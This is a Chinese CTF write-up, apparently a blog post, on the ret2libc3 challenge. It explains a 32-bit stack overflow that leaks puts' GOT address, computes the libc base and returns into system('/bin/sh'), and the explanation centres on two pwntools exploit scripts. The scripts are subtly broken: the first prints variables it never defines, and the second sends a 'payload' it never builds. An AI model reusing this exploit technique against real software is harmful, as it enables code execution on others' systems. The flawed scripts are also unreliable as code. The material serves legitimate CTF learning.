ret2libc3

发布时间 2023-08-08 13:03:19作者: lmarch2

ret2libc3

ctf-wiki ret2libc3
考点:栈溢出rop

0x01

file checksec —— 32-bit 开NX

漏洞和内存分析和之前的系列题类似,不赘述了

0x02

IDA看源码,既没有system也没有binsh

image-20230808125622556

由linux延迟绑定机制的知识(后面再写一篇总结吧)可知,我们如果要调用system函数,就要知道他的got表中的地址,但libc被加载到的内存的位置是随机的,我们无法得知
不过,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址(got表地址)
而现在我们有一个puts函数,libc中也有system和binsh

0x03

我们只需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,再将puts函数的返回地址覆盖为system函数的地址即可
我们可以先运行exp1(见0x04)拿到获取puts的真实地址,然后去libc- database -search的网站查询,可得到puts函数system函数和binsh字符串对应的偏移地址

image-20230808125734100
(这里直接盗图了......)

知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址
然后写完整的exp

0x04

所以其实exp是分两部的,第一步是构造栈溢出利用puts函数打印出真实地址;第二步是溢出覆盖至system函数和/bin/sh的地址,拿到shell

#first exp

from pwn import *

elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)

p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))

p.interactive()
#second exp
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))


p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf

#根据公式  libc基地址  +  函数偏移量   =  函数真实地址   来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))

payload2 = flat([b'A'*112, p32(sys_addr), "AAAA", p32(sh_addr)])

p.sendline(payload2)
p.interactive()

或者写

puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

一定注意发送pay前接收的内容

0x05

搜索libc常用方法:

对于返回地址不同而导致的输入偏移不同
https://www.jianshu.com/p/83f55c55c173